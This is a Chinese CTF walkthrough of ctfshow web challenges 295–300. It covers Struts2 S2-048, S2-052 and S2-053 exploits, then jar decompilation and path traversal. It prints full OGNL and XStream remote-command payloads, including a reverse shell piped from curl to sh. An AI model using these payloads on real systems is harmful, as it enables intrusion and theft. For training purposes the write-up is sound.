ctfshow(web入门)295-300

web295

S2-048

POST请求发送数据; 默认参数为:username,password; 支持任意命令执行和反弹shell

我们可以在Name处输入命令

使用工具没能成功

这个漏洞本质上是在struts2-struts1-plugin这个jar包上。这个库是用将struts1的action封装成struts2的action以便在strut2上使用。本质原因还是在struts2-struts1-plugin包中Struts1Action.java中execute函数调用了getText函数,这个函数会执行ognl表达式,更可恶的是getText的输入内容还是攻击者可控的。

命令执行

复制代码
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())).(#q)}
//(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):(...))
//尝试将 OGNL 上下文的成员访问权限(_memberAccess)重置为默认值。如果 _memberAccess 存在,就直接覆盖它
//(#container=#context['com.opensymphony.xwork2.ActionContext.container']).
//(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
//(#ognlUtil.getExcludedPackageNames().clear()).
//(#ognlUtil.getExcludedClasses().clear()).
//(#context.setMemberAccess(#dm))
//Java 环境中原本被保护的敏感类(如 java.lang.Runtime)就像没锁门的金库,任由攻击者调用
//(#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream()))
// exec('id'):在服务器终端执行 id 命令。在 Linux 中,这会返回当前用户的 UID、GID 以及所属组(例如:uid=0(root) gid=0(root) groups=0(root))。
//getInputStream():捕获命令执行后的结果流。
//IOUtils@toString:将二进制流瞬间转化为我们可以读懂的文字,并存入变量 #q。
//这是 OGNL 的一个特性:表达式的最后一个部分的值会被作为整个表达式的结果返回。在这里,执行完所有破坏动作后,它最后抛出 #q(即 id 命令的结果)。攻击者只需看一眼网页的响应内容,就能知道自己是否拿到了 root 权限

如果将id命令换成env可以看到一个报错界面,红色标记出来的就是flag。

web296

S2-052

Struts2-Rest-Plugin是让Struts2能够实现Restful API的一个插件,其根据Content-Type或URI扩展名来判断用户传入的数据包类型,有如下映射表

https://github.com/vulhub/vulhub/blob/master/struts2/s2-052/README.zh-cn.md

使用工具

代码执行

jsonlib无法引入任意对象,而xstream在默认情况下是可以引入任意对象的(针对1.5.x以前的版本),方法就是直接通过xml的tag name指定需要实例化的类名:

复制代码
<classname></classname>
//或者
<paramname class="classname"></paramname>

可以通过反序列化引入任意类造成远程命令执行漏洞,只需要找到一个在Struts2库中适用的gedget。

启动环境后,即可看到showcase页面。由于rest-plugin会根据URI扩展名或Content-Type来判断解析方法,所以我们只需要修改orders.xhtml为orders.xml或修改Content-Type头为application/xml,即可在Body中传递XML数据。

复制代码
POST /orders/3/edit HTTP/1.1
Host: your-ip:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/xml
Content-Length: 2415

<map>
  <entry>
    <jdk.nashorn.internal.objects.NativeString>
      <flags>0</flags>
      <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
        <dataHandler>
          <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
            <is class="javax.crypto.CipherInputStream">
              <cipher class="javax.crypto.NullCipher">
                <initialized>false</initialized>
                <opmode>0</opmode>
                <serviceIterator class="javax.imageio.spi.FilterIterator">
                  <iter class="javax.imageio.spi.FilterIterator">
                    <iter class="java.util.Collections$EmptyIterator"/>
                    <next class="java.lang.ProcessBuilder">
                      <command>
                        <string>touch</string>
                        <string>/tmp/success</string>
                      </command>
                      <redirectErrorStream>false</redirectErrorStream>
                    </next>
                  </iter>
                  <filter class="javax.imageio.ImageIO$ContainsFilter">
                    <method>
                      <class>java.lang.ProcessBuilder</class>
                      <name>start</name>
                      <parameter-types/>
                    </method>
                    <name>foo</name>
                  </filter>
                  <next class="string">foo</next>
                </serviceIterator>
                <lock/>
              </cipher>
              <input class="java.lang.ProcessBuilder$NullInputStream"/>
              <ibuffer></ibuffer>
              <done>false</done>
              <ostart>0</ostart>
              <ofinish>0</ofinish>
              <closed>false</closed>
            </is>
            <consumed>false</consumed>
          </dataSource>
          <transferFlavors/>
        </dataHandler>
        <dataLen>0</dataLen>
      </value>
    </jdk.nashorn.internal.objects.NativeString>
    <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
  </entry>
  <entry>
    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
  </entry>
</map>

成功执行

web297

S2-053

POST请求发送数据; 默认参数为:username,password; 支持任意命令执行和反弹shell

使用工具

命令执行

Struts2在使用Freemarker模板引擎的时候,同时允许解析OGNL表达式。导致用户输入的数据本身不会被OGNL解析,但由于被Freemarker解析一次后变成离开一个表达式,被OGNL解析第二次,导致任意命令执行漏洞。

执行反弹shell

复制代码
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='curl https://your-shell.com/ip:port | sh').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}

或者直接命令执行

复制代码
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='env').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}

因为被截断了不能直接从环境里面读取flag了

复制代码
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='env | grep -i flag').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}

可以只读取flag,成功获取flag

web298

不再是Struts2

jar包和war包都可以看成压缩文件,都可以用解压软件打开,jar包和war包都是为了项目的部署和发布,通常在打包部署的时候,会在里面加上部署的相关信息。这个打包实际上就是把代码和依赖的东西压缩在一起,变成后缀名为.jar和.war的文件,就是我们说的jar包和war包。但是这个"压缩包"可以被编译器直接使用,把war包放在tomcat目录的webapp下,tomcat服务器在启动的时候可以直接使用这个war包。通常tomcat的做法是解压,编译里面的代码,所以当文件很多的时候,tomcat的启动会很慢。

jar包和war包的区别:jar包是java打的包,war包可以理解为javaweb打的包,这样会比较好记。jar包中只是用java来写的项目打包来的,里面只有编译后的class和一些部署文件。而war包里面的东西就全了,包括写的代码编译成的class文件,依赖的包,配置文件,所有的网站页面,包括html,jsp等等。一个war包可以理解为是一个web项目,里面是项目的所有东西。

可以使用JD-GUI反编译Jar包

分析代码

复制代码
package com.ctfshow.model;

import java.io.Serializable;

public class User implements Serializable {
    private static final long serialVersionUID = -4069265999830231626L;
    //package com.ctfshow.model;: 定义了类所在的包名,反映了其项目结构。
    //implements Serializable: 这是一个标记接口。实现它意味着该类可以进行序列化(对象转字节流)和反序列化(字节流转对象)。这是 Java 安全漏洞(如反序列化漏洞)经常出没的地方。
    //serialVersionUID: 序列化版本 ID。用于验证序列化对象和对应类是否匹配。如果手动修改了类结构但没改这个 ID,反序列化时可能会抛出异常
    private String username;

    private String password;

    private Boolean isVip;
//定义了三个私有属性:用户名、密码和 VIP 状态。注意 isVip 使用的是包装类 Boolean
    public String getUsername() {
        return this.username;
    }

    public void setUsername(String username) {
        this.username = username;
    }

    public String getPassword() {
        return this.password;
    }

    public void setPassword(String password) {
        this.password = password;
    }

    public Boolean getIvVip() {
        return this.isVip;
    }

    public void setIvVip(Boolean ivVip) {
        this.isVip = ivVip;
    }
//这些是标准的访问器方法
//细节注意:代码中出现了笔误------getIvVip 和 setIvVip。按常规应为 getIsVip
//在某些自动调用 Getter/Setter 的框架(如 Fastjson 或 Jackson)中
//这种非标准的命名可能会导致解析异常或找不到属性
    public User(String username, String password) {
        this.username = username;
        this.password = password;
    }
//类的构造器,初始化用户名和密码。注意这里并没有初始化 isVip 字段,所以默认情况下 isVip 为 null
    public boolean getVipStatus() {
        if (this.username.equals("admin") && this.password.equals("ctfshow"))
            return true; 
        return false;
    }
//逻辑漏洞点:这个方法手动校验 username 是否为 "admin" 且 password 是否为 "ctfshow"。
//在 CTF 场景中,如果题目要求 isVip 为 true,但你无法通过正常登录获取
//你可能需要通过构造恶意的序列化数据,直接在序列化流中将 isVip 修改为 true
//从而绕过这个 getVipStatus 的硬编码检查
    public String toString() {
        return "User [username=" + this.username + ", password=" + this.password + 
        ", isVip=" + this.isVip + "]";
    }
}
//重写了 toString 方法,方便打印对象内容。
//在调试或某些触发 toString 的利用链(如 BadAttributeValueExpException)中会用到

可以发现这里有个getVipStatus函数,只要传的参数符合条件,即可得到flag

分析Jar包中的web.xml文件可得,该servlet位于/ctfshow/login

复制代码
<?xml version="1.0" encoding="UTF-8"?>
<web-app version="3.0" 
	xmlns="http://java.sun.com/xml/ns/javaee" 
	xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 
	xsi:schemaLocation="http://java.sun.com/xml/ns/javaee 
	http://java.sun.com/xml/ns/javaee/web-app_3_0.xsd">
  <display-name></display-name>	
  <welcome-file-list>
    <welcome-file>index.jsp</welcome-file>
  </welcome-file-list>

  <servlet>
    <description>This is the description of my J2EE component</description>
    <display-name>This is the display name of my J2EE component</display-name>
    <servlet-name>login</servlet-name>
    <servlet-class>com.ctfshow.servlet.loginServlet</servlet-class>
  </servlet>

  <servlet-mapping>
    <servlet-name>login</servlet-name>
    <url-pattern>/login</url-pattern>
  </servlet-mapping>

  	
    
</web-app>

构造payload

payload:

复制代码
/ctfshow/login?username=admin&password=ctfshow

web299

查看源代码,发现一行注释

根据提示访问/view-source?file=index.jsp,为什么访问jsp文件,因为javaweb中页面基本上都是jsp开发的

可以看到有回显,我们开始读取web.xml文件

/view-source?file=/WEB-INF/web.xml

可以看到有个com.ctfshow.servlet.GetFlag,尝试读取

/view-source?file=/WEB-INF/classes/com/ctfshow/servlet/GetFlag.class

发现有乱码,查看源代码

构造payload

会发现有/fl3g这个文件存在,/view-source?file=.../.../.../.../.../.../fl3g

一直文件包含然后成功获取flag

web300

ctfshow web入门Java最后的一题

这道题跟上道题差不多,别被php迷惑了。

没有有用信息

/view-source?file=/WEB-INF/classes/com/ctfshow/servlet/GetFlag.class,虽然xml没有显示。

构造payload

Payload

复制代码
?file=../../../../../f1bg
相关推荐
lly2024062 小时前
SOAP 简介
开发语言
重庆小透明2 小时前
【面试问题】java字节八股部分
java·面试·职场和发展
小王不爱笑1322 小时前
Java 对象拷贝(浅拷贝 / 深拷贝)
java·开发语言·python
架构师沉默2 小时前
程序员真的要失业了吗?
java·后端·架构
小王不爱笑1322 小时前
SpringBoot 自动装配深度解析:从底层原理到自定义 starter 实战(含源码断点调试)
java·spring boot·mybatis
森林里的程序猿猿2 小时前
Spring Aop底层源码实现(一)
java·后端·spring
ℳ๓₯㎕.空城旧梦2 小时前
C++中的解释器模式
开发语言·c++·算法
JdayStudy2 小时前
SIR 网络传播仿真软件说明书
开发语言·网络·php
有点傻的小可爱2 小时前
【MATLAB】新安装并口如何实现能通过PTB启用?
开发语言·windows·经验分享·matlab